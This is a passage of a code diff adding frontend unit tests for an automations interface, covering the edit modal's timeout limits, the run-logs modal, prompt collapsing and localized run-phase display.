+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — the PATCH resets the stored timeout to null.
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    expect(AutomationService.updateAutomation).toHaveBeenCalledWith("auto-4", {
+      timeout: null,
+    });
+  });
+
+  it("blocks submit and shows a validation error for an out-of-range timeout", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    renderModal(timeoutAutomation);
+    await waitFor(() => {
+      expect(screen.getByTestId("edit-automation-timeout")).toHaveAttribute(
+        "max",
+        "900",
+      );
+    });
+
+    // Act — enter a timeout beyond the deployment's cap and try to save.
+    const timeoutInput = screen.getByTestId("edit-automation-timeout");
+    await user.clear(timeoutInput);
+    await user.type(timeoutInput, "901");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — no PATCH fired, inline error appears.
+    expect(AutomationService.updateAutomation).not.toHaveBeenCalled();
+    expect(
+      screen.getByTestId("edit-automation-timeout-error"),
+    ).toBeInTheDocument();
+  });
+
+  it("never lets the manifest raise the deployment timeout ceiling", async () => {
+    // Arrange — the manifest offers 1200 seconds while the service owns 900.
+    specOverrides.current = { timeout: { max: 1200 } };
+    renderModal(timeoutAutomation);
+
+    // Assert — the service value is the effective maximum.
+    await waitFor(() => {
+      expect(screen.getByTestId("edit-automation-timeout")).toHaveAttribute(
+        "max",
+        "900",
+      );
+    });
+  });
+
+  it("lets the manifest lower the deployment timeout ceiling", async () => {
+    // Arrange — this automation surface imposes a stricter product policy.
+    specOverrides.current = { timeout: { max: 600 } };
+    renderModal(timeoutAutomation);
+
+    // Assert — the lower manifest value wins over the service maximum.
+    await waitFor(() => {
+      expect(screen.getByTestId("edit-automation-timeout")).toHaveAttribute(
+        "max",
+        "600",
+      );
+    });
+  });
+
+  it("renders only the attributes the interface manifest declares, with its copy", async () => {
+    // Arrange — an admitted manifest that omits `prompt` and relabels `name`.
+    specOverrides.current = {
+      prompt: { present: false },
+      name: { label: "Widget name" },
+    };
+    renderModal(dailyAutomation);
+
+    // Assert — the prompt control is gone and the manifest's label shows in
+    // place of the host translation.
+    expect(
+      screen.queryByTestId("edit-automation-prompt"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByText("Widget name")).toBeInTheDocument();
+  });
+
+  it("omits the timeout from the payload when it is left unchanged", async () => {
+    // Arrange
+    vi.mocked(AutomationService.updateAutomation).mockResolvedValue(
+      timeoutAutomation,
+    );
+    const user = userEvent.setup();
+    renderModal(timeoutAutomation);
+
+    // Act — rename the automation but leave the timeout at 600.
+    const nameInput = screen.getByTestId("edit-automation-name");
+    await user.clear(nameInput);
+    await user.type(nameInput, "Renamed digest");
+    await user.click(screen.getByTestId("edit-automation-save"));
+
+    // Assert — the PATCH renames but does not resend the unchanged timeout.
+    await waitFor(() => {
+      expect(AutomationService.updateAutomation).toHaveBeenCalledTimes(1);
+    });
+    const [, body] = vi.mocked(AutomationService.updateAutomation).mock
+      .calls[0];
+    expect(body).toMatchObject({ name: "Renamed digest" });
+    expect(body).not.toHaveProperty("timeout");
+  });
+});
diff --git a/__tests__/components/automations/detail/not-found-state.test.tsx b/__tests__/components/automations/detail/not-found-state.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bb9e4d20ca2adfba05f6e7178670dff57067c731
--- /dev/null
+++ b/__tests__/components/automations/detail/not-found-state.test.tsx
@@ -0,0 +1,16 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { NotFoundState } from "#/components/features/automations/detail/not-found-state";
+
+describe("NotFoundState", () => {
+  it("renders not found state with link back to automations list", () => {
+    const { container } = render(<NotFoundState />);
+
+    // Check for the main container
+    expect(container.querySelector("div")).toBeInTheDocument();
+    // Check for the link to go back
+    const link = screen.getByRole("link");
+    expect(link).toBeInTheDocument();
+    expect(link).toHaveAttribute("href", "/automations");
+  });
+});
diff --git a/__tests__/components/automations/detail/prompt-section.test.tsx b/__tests__/components/automations/detail/prompt-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b881c97ba692d06fb230ea1a49db849678d45b91
--- /dev/null
+++ b/__tests__/components/automations/detail/prompt-section.test.tsx
@@ -0,0 +1,55 @@
+import { describe, expect, it } from "vitest";
+import React from "react";
+import { render, screen, fireEvent } from "@testing-library/react";
+
+import { I18nKey } from "#/i18n/declaration";
+import { PromptSection } from "#/components/features/automations/detail/prompt-section";
+
+describe("PromptSection", () => {
+  it("does not show a toggle for short prompts", () => {
+    render(<PromptSection prompt="Short prompt." />);
+
+    expect(screen.getByTestId("automation-prompt-content")).toHaveTextContent(
+      "Short prompt.",
+    );
+    expect(
+      screen.queryByTestId("automation-prompt-toggle"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("automation-prompt-fade"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("collapses long prompts with a fade and expands on toggle", () => {
+    const longPrompt = Array.from({ length: 40 }, (_, index) => `Line ${index + 1}.`).join(
+      "\n",
+    );
+
+    Object.defineProperty(HTMLElement.prototype, "scrollHeight", {
+      configurable: true,
+      get() {
+        return this.textContent?.includes("Line 40.") ? 480 : 120;
+      },
+    });
+
+    render(<PromptSection prompt={longPrompt} />);
+
+    expect(screen.getByTestId("automation-prompt-fade")).toBeInTheDocument();
+    expect(screen.getByTestId("automation-prompt-content")).toHaveClass("max-h-60");
+    expect(screen.getByTestId("automation-prompt-toggle")).toHaveTextContent(
+      I18nKey.COMMON$VIEW_MORE,
+    );
+
+    fireEvent.click(screen.getByTestId("automation-prompt-toggle"));
+
+    expect(
+      screen.queryByTestId("automation-prompt-fade"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("automation-prompt-content")).not.toHaveClass(
+      "max-h-60",
+    );
+    expect(screen.getByTestId("automation-prompt-toggle")).toHaveTextContent(
+      I18nKey.COMMON$VIEW_LESS,
+    );
+  });
+});
diff --git a/__tests__/components/automations/detail/run-logs-modal.test.tsx b/__tests__/components/automations/detail/run-logs-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..761bbc49cc9ad4bf774f9ddeb8e051dad9ffc3fe
--- /dev/null
+++ b/__tests__/components/automations/detail/run-logs-modal.test.tsx
@@ -0,0 +1,457 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
+import { render, screen, fireEvent } from "@testing-library/react";
+import { I18nKey } from "#/i18n/declaration";
+import { RunLogsModal } from "#/components/features/automations/detail/run-logs-modal";
+import { AutomationRunStatus, type AutomationRun } from "#/types/automation";
+
+const { useBashCommandLogsMock } = vi.hoisted(() => ({
+  useBashCommandLogsMock: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-bash-command-logs", () => ({
+  useBashCommandLogs: useBashCommandLogsMock,
+}));
+
+// The debug button owns its own query/navigation stack; stub it so these tests
+// only verify whether the modal chooses to render it.
+vi.mock(
+  "#/components/features/automations/detail/debug-automation-button",
+  () => ({
+    DebugAutomationButton: ({ run }: { run: AutomationRun }) => (
+      <div data-testid="debug-automation-button-stub" data-run-id={run.id} />
+    ),
+  }),
+);
+
+function makeHookResult(
+  overrides: Partial<ReturnType<typeof baseResult>> = {},
+) {
+  return { ...baseResult(), ...overrides };
+}
+
+function baseResult() {
+  return {
+    data: undefined as unknown,
+    error: null as Error | null,
+    isFetching: false,
+    isPending: false,
+    isResolvingConversation: false,
+    sandboxIssue: null as
+      | null
+      | "missing"
+      | "paused"
+      | "starting"
+      | "errored"
+      | "unreachable",
+    conversationMissing: false,
+  };
+}
+
+beforeEach(() => {
+  useBashCommandLogsMock.mockReset();
+});
+
+afterEach(() => {
+  vi.clearAllMocks();
+});
+
+describe("RunLogsModal", () => {
+  it("renders nothing when closed", () => {
+    useBashCommandLogsMock.mockReturnValue(makeHookResult());
+    const { container } = render(
+      <RunLogsModal
+        isOpen={false}
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+      />,
+    );
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("uses the 'Logs' title (not 'Run logs')", () => {
+    useBashCommandLogsMock.mockReturnValue(makeHookResult());
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+      />,
+    );
+    // The heading uses the LOGS_TITLE key — in the test environment
+    // the resolved value IS "Logs" because translation.json's "en"
+    // entry is "Logs". (The key itself is rendered if the runtime
+    // can't resolve it; we want the human label.)
+    expect(
+      screen.getByRole("heading", {
+        name: I18nKey.AUTOMATIONS$DETAIL$LOGS_TITLE,
+      }),
+    ).toBeInTheDocument();
+  });
+
+  it("shows two tabs (Output, Error) with Output active by default", () => {
+    useBashCommandLogsMock.mockReturnValue(
+      makeHookResult({
+        data: [
+          {
+            id: "o1",
+            kind: "BashOutput",
+            timestamp: "2026-01-01T10:00:00Z",
+            command_id: "cmd-1",
+            order: 0,
+            stdout: "hello",
+            stderr: null,
+          },
+        ],
+      }),
+    );
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+      />,
+    );
+
+    const tabs = screen.getAllByRole("tab");
+    expect(tabs).toHaveLength(2);
+    expect(tabs[0]).toHaveAttribute("aria-selected", "true");
+    expect(tabs[1]).toHaveAttribute("aria-selected", "false");
+  });
+
+  it("concatenates stdout across multiple BashOutput events for the Output tab", () => {
+    useBashCommandLogsMock.mockReturnValue(
+      makeHookResult({
+        data: [
+          {
+            id: "o2",
+            kind: "BashOutput",
+            timestamp: "2026-01-01T10:00:00.200Z",
+            command_id: "cmd-1",
+            order: 1,
+            stdout: "world\n",
+            stderr: null,
+          },
+          {
+            id: "o1",
+            kind: "BashOutput",
+            timestamp: "2026-01-01T10:00:00.100Z",
+            command_id: "cmd-1",
+            order: 0,
+            stdout: "hello ",
+            stderr: null,
+          },
+        ],
+      }),
+    );
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+      />,
+    );
+    // Outputs must be sorted by (timestamp, order), so the
+    // chronological concatenation is "hello world\n" — proves the
+    // sort is happening regardless of input order.
+    expect(screen.getByTestId("run-logs-output-stdout")).toHaveTextContent(
+      "hello world",
+    );
+  });
+
+  it("concatenates stderr when the Error tab is selected", () => {
+    useBashCommandLogsMock.mockReturnValue(
+      makeHookResult({
+        data: [
+          {
+            id: "o1",
+            kind: "BashOutput",
+            timestamp: "2026-01-01T10:00:00.100Z",
+            command_id: "cmd-1",
+            order: 0,
+            stdout: "ok\n",
+            stderr: "err-1\n",
+          },
+          {
+            id: "o2",
+            kind: "BashOutput",
+            timestamp: "2026-01-01T10:00:00.200Z",
+            command_id: "cmd-1",
+            order: 1,
+            stdout: null,
+            stderr: "err-2\n",
+          },
+        ],
+      }),
+    );
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+      />,
+    );
+
+    const errorTab = screen.getAllByRole("tab")[1];
+    fireEvent.click(errorTab);
+
+    expect(errorTab).toHaveAttribute("aria-selected", "true");
+    expect(screen.getByTestId("run-logs-output-stderr")).toHaveTextContent(
+      "err-1 err-2",
+    );
+  });
+
+  it("shows the loading message while the query is fetching", () => {
+    useBashCommandLogsMock.mockReturnValue(
+      makeHookResult({ isFetching: true, data: undefined }),
+    );
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+      />,
+    );
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$LOGS_LOADING),
+    ).toBeInTheDocument();
+  });
+
+  it.each([
+    ["missing", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_MISSING],
+    ["paused", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_PAUSED],
+    ["starting", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_STARTING],
+    ["errored", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_ERROR],
+    ["unreachable", I18nKey.AUTOMATIONS$DETAIL$LOGS_SANDBOX_UNREACHABLE],
+  ] as const)(
+    "renders the matching message for sandboxIssue=%s instead of the log output",
+    (issue, key) => {
+      useBashCommandLogsMock.mockReturnValue(
+        makeHookResult({
+          sandboxIssue: issue,
+          // Even if outputs are somehow present in the cache, the
+          // sandbox-issue branch should still render — the issue
+          // takes precedence.
+          data: [
+            {
+              id: "o1",
+              kind: "BashOutput",
+              timestamp: "2026-01-01T10:00:00Z",
+              command_id: "cmd-1",
+              order: 0,
+              stdout: "stale",
+              stderr: null,
+            },
+          ],
+        }),
+      );
+      render(
+        <RunLogsModal
+          isOpen
+          conversationId="conv-1"
+          bashCommandId="cmd-1"
+          onClose={() => {}}
+        />,
+      );
+
+      expect(
+        screen.getByTestId(`run-logs-sandbox-issue-${issue}`),
+      ).toHaveTextContent(key);
+      // The stdout tab should not be rendered when a sandbox issue
+      // is set — we don't want stale "Output" content competing with
+      // the empty-state message.
+      expect(
+        screen.queryByTestId("run-logs-output-stdout"),
+      ).not.toBeInTheDocument();
+    },
+  );
+
+  it("invokes onClose when Escape is pressed", () => {
+    useBashCommandLogsMock.mockReturnValue(makeHookResult());
+    const onClose = vi.fn();
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={onClose}
+      />,
+    );
+    fireEvent.keyDown(window, { key: "Escape" });
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe("RunLogsModal — run inspection summary", () => {
+  const makeRun = (overrides: Partial<AutomationRun> = {}): AutomationRun => ({
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: "conv-1",
+    bash_command_id: "cmd-1",
+    error_detail: null,
+    started_at: "2026-01-01T10:00:00Z",
+    completed_at: "2026-01-01T10:02:00Z",
+    ...overrides,
+  });
+
+  it("labels run, task, and system details for a completed blocked task", () => {
+    useBashCommandLogsMock.mockReturnValue(makeHookResult());
+
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+        run={makeRun({
+          error_detail: "Environment variable HUBSPOT_API_KEY is missing.",
+          status_detail: {
+            phase: "callback",
+            kind: "execution_error",
+            detail: "Environment variable HUBSPOT_API_KEY is missing.",
+            source: "environment",
+          },
+          run_metadata: {
+            finish_tool_response: {
+              status: "blocked",
+              outcome_summary:
+                "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+            },
+          },
+        })}
+      />,
+    );
+
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$RUN_LABEL),
+    ).toBeInTheDocument();
+    expect(screen.getByText("COMPLETED")).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$TASK_LABEL),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$BLOCKED),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(
+        "Attempted HubSpot CRM contact search but HUBSPOT_API_KEY was unavailable.",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$SYSTEM_LABEL),
+    ).toBeInTheDocument();
+    expect(
+      screen.getAllByText(/Environment variable HUBSPOT_API_KEY is missing/),
+    ).toHaveLength(2);
+    expect(screen.getByText(/callback · execution_error/)).toBeInTheDocument();
+  });
+
+  it("keeps infrastructure failures in the system section when no task outcome exists", () => {
+    useBashCommandLogsMock.mockReturnValue(makeHookResult());
+
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+        run={makeRun({
+          status: AutomationRunStatus.FAILED,
+          error_detail: "Sandbox timed out.",
+        })}
+      />,
+    );
+
+    expect(screen.getByText("FAILED")).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$NO_TASK_OUTCOME),
+    ).toBeInTheDocument();
+    expect(screen.getByText(/Sandbox timed out/)).toBeInTheDocument();
+  });
+
+  it("falls back to a readable JSON block for custom task metadata", () => {
+    useBashCommandLogsMock.mockReturnValue(makeHookResult());
+
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+        run={makeRun({
+          run_metadata: {
+            finish_tool_response: {
+              crm_contacts_checked: 12,
+              matches: ["Acme", "Globex"],
+              next_action: "Ask user to pick a contact.",
+            },
+          },
+        })}
+      />,
+    );
+
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$NEEDS_REVIEW),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$CUSTOM_TASK_METADATA),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByText(I18nKey.AUTOMATIONS$DETAIL$TASK_METADATA),
+    ).toBeInTheDocument();
+    const metadata = screen.getByTestId("automation-task-metadata");
+    expect(metadata).toHaveTextContent('"crm_contacts_checked": 12');
+    expect(metadata).toHaveTextContent(
+      '"next_action": "Ask user to pick a contact."',
+    );
+  });
+});
+
+describe("RunLogsModal — Debug with OpenHands button", () => {
+  const makeRun = (status: AutomationRunStatus): AutomationRun => ({
+    id: "run-1",
+    status,
+    conversation_id: "conv-1",
+    bash_command_id: "cmd-1",
+    error_detail: status === AutomationRunStatus.FAILED ? "boom" : null,
+    started_at: "2026-01-01T10:00:00Z",
+    completed_at: "2026-01-01T10:02:00Z",
+  });
+
+  it("renders the debug button for a failed run", () => {
+    useBashCommandLogsMock.mockReturnValue(makeHookResult());
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+        run={makeRun(AutomationRunStatus.FAILED)}
+      />,
+    );
+    expect(
+      screen.getByTestId("debug-automation-button-stub"),
+    ).toBeInTheDocument();
+  });
+
+  it("does not render the debug button for a successful run", () => {
+    useBashCommandLogsMock.mockReturnValue(makeHookResult());
+    render(
+      <RunLogsModal
+        isOpen
+        conversationId="conv-1"
+        bashCommandId="cmd-1"
+        onClose={() => {}}
+        run={makeRun(AutomationRunStatus.COMPLETED)}
+      />,
+    );
+    expect(
+      screen.queryByTestId("debug-automation-button-stub"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/automations/detail/run-phase.test.tsx b/__tests__/components/automations/detail/run-phase.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..309df937c56ed97d1adbf88f7d5218a771f1c71f
--- /dev/null
+++ b/__tests__/components/automations/detail/run-phase.test.tsx
@@ -0,0 +1,346 @@
+import { describe, it, expect, vi, afterEach } from "vitest";
+import { render, screen } from "@testing-library/react";
+
+import {
+  formatRunPhaseAge,
+  resolveRunPhaseText,
+  RunPhase,
+} from "#/components/features/automations/detail/run-phase";
+import { I18nKey } from "#/i18n/declaration";
+// Source of truth for translated values — not a hand-maintained duplicate.
+import translationData from "#/i18n/translation.json";
+import { AutomationRunStatus } from "#/types/automation";
+import { formatRelativeTime } from "#/utils/format-relative-time";
+
+type TranslationEntry = Record<string, string>;
+const TRANSLATIONS = translationData as unknown as Record<
+  string,
+  TranslationEntry
+>;
+
+// `t()` is mocked to resolve against the real translation.json content for
+// French ("fr"), the same pattern used elsewhere in this repo (see
+// server-status.test.tsx) to assert on genuine translated copy rather than
+// the ambient test i18n backend, which never resolves real values.
+function translate(key: string, options?: Record<string, unknown>): string {
+  const value = TRANSLATIONS[key]?.fr ?? key;
+  if (!options) return value;
+  // Interpolate the same way i18next does, so a test can assert on "il y a
+  // 12min" rather than on the untouched "il y a {{count}}min" placeholder.
+  return value.replace(/{{(\w+)}}/g, (_, name: string) =>
+    String(options[name] ?? `{{${name}}}`),
+  );
+}
+
+vi.mock("react-i18next", async () => {
+  const actual = await vi.importActual("react-i18next");
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: translate,
+      i18n: { language: "fr" },
+    }),
+  };
+});
+
+const minutesAgo = (minutes: number) =>
+  new Date(Date.now() - minutes * 60_000).toISOString();
+
+const RUNNING = AutomationRunStatus.RUNNING;
+
+describe("RunPhase — known code, non-English language", () => {
+  it("shows the French translation.json value for a known phase code, not the raw code", () => {
+    render(
+      <RunPhase status={RUNNING} code="sandbox_provisioning" label={null} />,
+    );
+
+    const expected =
+      TRANSLATIONS[I18nKey.AUTOMATIONS$DETAIL$PHASE_SANDBOX_PROVISIONING].fr;
+    expect(screen.getByText(expected)).toBeInTheDocument();
+    expect(screen.queryByText("sandbox_provisioning")).not.toBeInTheDocument();
+  });
+});
+
+describe("RunPhase — unknown code (custom automations)", () => {
+  it("shows the label as-is, including emoji and non-Latin text, for an unknown code", () => {
+    render(
+      <RunPhase status={RUNNING} code="poll_prs" label="🔍 Опрашиваем PR-ы" />,
+    );
+
+    expect(screen.getByText("🔍 Опрашиваем PR-ы")).toBeInTheDocument();
+  });
+
+  it("shows the raw code when the automation reported a code and no label", () => {
+    // The service accepts `{"code": "checking_out"}` with no label at all, so
+    // this run has a real phase and dropping it would show nothing.
+    render(<RunPhase status={RUNNING} code="checking_out" label={null} />);
+
+    expect(screen.getByTestId("run-phase")).toHaveTextContent("checking_out");
+  });
+
+  it.each([
+    ["null code and empty label", null, ""],
+    ["undefined on both fields (an older service)", undefined, undefined],
+    ["null on both fields", null, null],
+    ["whitespace on both fields", "   ", "   "],
+  ])(
+    "renders nothing and never touches the console with %s",
+    (_case, code, label) => {
+      const errorSpy = vi.spyOn(console, "error").mockImplementation(() => {});
+      const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+      expect(() =>
+        render(<RunPhase status={RUNNING} code={code} label={label} />),
+      ).not.toThrow();
+
+      expect(screen.queryByTestId("run-phase")).not.toBeInTheDocument();
+      expect(errorSpy).not.toHaveBeenCalled();
+      expect(warnSpy).not.toHaveBeenCalled();
+    },
+  );
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("boundary: a 200-character label (the contract's max) reaches the DOM whole, so truncation stays visual", () => {
+    // Arrange: the longest label the backend contract allows.
+    const label = "x".repeat(200);
+
+    // Act
+    render(<RunPhase status={RUNNING} code="poll_prs" label={label} />);
+
+    // Assert: the full string is still there — clipping must be CSS, never a
+    // JS slice that would lose characters no tooltip could bring back.
+    expect(screen.getByTestId("run-phase")).toHaveTextContent(label);
+  });
+
+  it("renders the label when only a label was reported and no code", () => {
+    // The service accepts a phase carrying just a label, so a custom
+    // automation may report one. An absent code is the most unknown code
+    // there is, and an unknown code falls back to its label.
+    render(
+      <RunPhase status={RUNNING} code={null} label="Reticulating splines" />,
+    );
+
+    expect(screen.getByTestId("run-phase")).toHaveTextContent(
+      "Reticulating splines",
+    );
+  });
+});
+
+describe("RunPhase — phase text is data, not a lookup into JavaScript itself", () => {
+  // `phase_code` is author-supplied, so a plain-object lookup answers these
+  // from `Object.prototype` and hands a function to `t()` — taking the card
+  // tree down inside render instead of falling back to the label.
+  it.each(["toString", "constructor", "__proto__", "hasOwnProperty"])(
+    "treats %s as an ordinary unknown code and shows the label",
+    (code) => {
+      expect(() =>
+        render(<RunPhase status={RUNNING} code={code} label="Полный аудит" />),
+      ).not.toThrow();
+
+      expect(screen.getByTestId("run-phase")).toHaveTextContent("Полный аудит");
+    },
+  );
+});
+
+describe("resolveRunPhaseText — one answer for the row and its tooltip", () => {
+  // The row shows a clipped copy of this text and the tooltip shows all of
+  // it, so both have to resolve the same phase the same way; a surface that
+  // resolved it on its own could show one thing and reveal another.
+  const t = (key: string) => TRANSLATIONS[key]?.fr ?? key;
+
+  it("resolves a known code to its translation", () => {
+    expect(resolveRunPhaseText(t, "sandbox_provisioning", null)).toBe(
+      TRANSLATIONS[I18nKey.AUTOMATIONS$DETAIL$PHASE_SANDBOX_PROVISIONING].fr,
+    );
+  });
+
+  it("resolves an unknown code to the author's label, verbatim", () => {
+    expect(resolveRunPhaseText(t, "poll_prs", "🔍 Опрашиваем PR-ы")).toBe(
+      "🔍 Опрашиваем PR-ы",
+    );
+  });
+
+  it("resolves a phase carrying only a label to that label", () => {
+    expect(resolveRunPhaseText(t, null, "Reticulating splines")).toBe(
+      "Reticulating splines",
+    );
+  });
+
+  it("resolves a phase carrying only a code to that code, verbatim", () => {
+    // Mirrors the backend contract: `code` and `label` are independently
+    // optional, so a code-only phase is valid and must reach the screen.
+    expect(resolveRunPhaseText(t, "checking_out", null)).toBe("checking_out");
+    expect(resolveRunPhaseText(t, "checking_out", "")).toBe("checking_out");
+  });
+
+  it("prefers the author's label over the raw code when both are present", () => {
+    expect(resolveRunPhaseText(t, "poll_prs", "Polling PRs")).toBe(
+      "Polling PRs",
+    );
+  });
+
+  it("falls through a whitespace-only label, which the service stores as sent", () => {
+    // Only a phase blank on *both* fields is rejected: `{"code": "x",
+    // "label": "  "}` is recorded verbatim, and rendering that label would
+    // put an empty span on the row with the age dangling beside it.
+    expect(resolveRunPhaseText(t, "checking_out", "   ")).toBe("checking_out");
+    expect(resolveRunPhaseText(t, "   ", "   ")).toBeNull();
+  });
+
+  it("resolves to null when there is nothing to show", () => {
+    expect(resolveRunPhaseText(t, "", "")).toBeNull();
+    expect(resolveRunPhaseText(t, null, null)).toBeNull();
+  });
+});
+
+describe("formatRunPhaseAge — telling a moving run from a stalled one", () => {
+  it("reports how long the run has held the phase, localized", () => {
+    expect(formatRunPhaseAge(minutesAgo(12), "fr", translate)).toBe(
+      "il y a 12min",
+    );
+  });
+
+  it("reports a phase written seconds ago as 'just now', not as zero minutes", () => {
+    expect(formatRunPhaseAge(minutesAgo(0), "fr", translate)).toBe(
+      TRANSLATIONS[I18nKey.AUTOMATIONS$DETAIL$TIME_JUST_NOW].fr,
+    );
+  });
+
+  it("boundary: 60 minutes rolls over to the hours wording", () => {
+    expect(formatRunPhaseAge(minutesAgo(60), "fr", translate)).toBe(
+      "il y a 1h",
+    );
+  });
+
+  it("returns null when the service reported no timestamp", () => {
+    expect(formatRunPhaseAge(null, "fr", translate)).toBeNull();
+    expect(formatRunPhaseAge(undefined, "fr", translate)).toBeNull();
+  });
+
+  it("negative: returns null for timestamps the formatter would print as garbage", () => {
+    // The guard is the whole point: left to itself, the shared relative-time
+    // formatter prints "Invalid Date" for an unparseable string and a 1970
+    // date for the epoch, which is how the backend leaves a datetime unset.
+    expect(formatRelativeTime("not-a-date", "fr", translate)).toMatch(
+      /Invalid/,
+    );
+    expect(formatRelativeTime("1970-01-01T00:00:00Z", "fr", translate)).toMatch(
+      /1970/,
+    );
+
+    expect(formatRunPhaseAge("not-a-date", "fr", translate)).toBeNull();
+    expect(
+      formatRunPhaseAge("1970-01-01T00:00:00Z", "fr", translate),
+    ).toBeNull();
+  });
+});
+
+describe("RunPhase — how long the run has been in this phase", () => {
+  it("shows the age beside the phase, so a stalled run reads differently from a moving one", () => {
+    render(
+      <RunPhase
+        status={RUNNING}
+        code="running_agent"
+        label={null}
+        updatedAt={minutesAgo(41)}
+      />,
+    );
+
+    expect(screen.getByTestId("run-phase-age")).toHaveTextContent(
+      "il y a 41min",
+    );
+  });
+
+  it("keeps the age in its own node, outside the clipped text, so a maximum-length label cannot push it out of sight", () => {
+    // Arrange: the longest label the backend contract allows, in the surface
+    // with the least room.
+    const label = "x".repeat(200);
+
+    render(
+      <RunPhase
+        status={RUNNING}
+        code="poll_prs"
+        label={label}
+        updatedAt={minutesAgo(7)}
+      />,
+    );
+
+    const text = screen.getByTestId("run-phase");
+    const age = screen.getByTestId("run-phase-age");
+    expect(text).not.toContainElement(age);
+  });
+
+  it("shows no age at all against a service that reports phases without a timestamp", () => {
+    render(<RunPhase status={RUNNING} code="running_agent" label={null} />);
+
+    expect(screen.getByTestId("run-phase")).toBeInTheDocument();
+    expect(screen.queryByTestId("run-phase-age")).not.toBeInTheDocument();
+  });
+
+  it.each([
+    ["unparseable", "not-a-date"],
+    [
+      "the epoch, which is how an unset datetime arrives",
+      "1970-01-01T00:00:00Z",
+    ],
+  ])("shows no age when the timestamp is %s", (_case, updatedAt) => {
+    render(
+      <RunPhase
+        status={RUNNING}
+        code="running_agent"
+        label={null}
+        updatedAt={updatedAt}
+      />,
+    );
+
+    expect(screen.queryByTestId("run-phase-age")).not.toBeInTheDocument();
+  });
+
+  it("drops the age on a failed run, whose phase is where it stopped rather than something still running", () => {
+    // A months-old failure would otherwise render an absolute date — a
+    // second timestamp beside the one the row already shows.
+    render(
+      <RunPhase
+        status={AutomationRunStatus.FAILED}
+        code="sandbox_provisioning"
+        label={null}
+        updatedAt={minutesAgo(41)}
+      />,
+    );
+
+    expect(screen.getByTestId("run-phase")).toBeInTheDocument();
+    expect(screen.queryByTestId("run-phase-age")).not.toBeInTheDocument();
+  });
+});
+
+describe("RunPhase — reachable without a mouse", () => {
+  it("leaves the whole phase, age included, in the accessibility tree", () => {
+    // Truncation is CSS only, so a 200-character label is readable in full
+    // by a screen reader as long as nothing hides it — and nothing may hide
+    // it behind a tab stop, because every surface nests the phase inside a
+    // link, where a focusable descendant is invalid and swallows Enter.
+    const label = "x".repeat(200);
+
+    render(
+      <RunPhase
+        status={RUNNING}
+        code="poll_prs"
+        label={label}
+        updatedAt={minutesAgo(7)}
+      />,
+    );
+
+    const text = screen.getByTestId("run-phase");
+    const age = screen.getByTestId("run-phase-age");
+    expect(text).toHaveTextContent(label);
+    expect(age).toHaveTextContent("il y a 7min");
+    expect(text).not.toHaveAttribute("aria-hidden");
+    expect(age).not.toHaveAttribute("aria-hidden");
+    // No focusable ancestor: the phase must never be its own tab stop
+    // inside the link every surface wraps it in.
+    expect(text.closest("[tabindex]")).toBeNull();
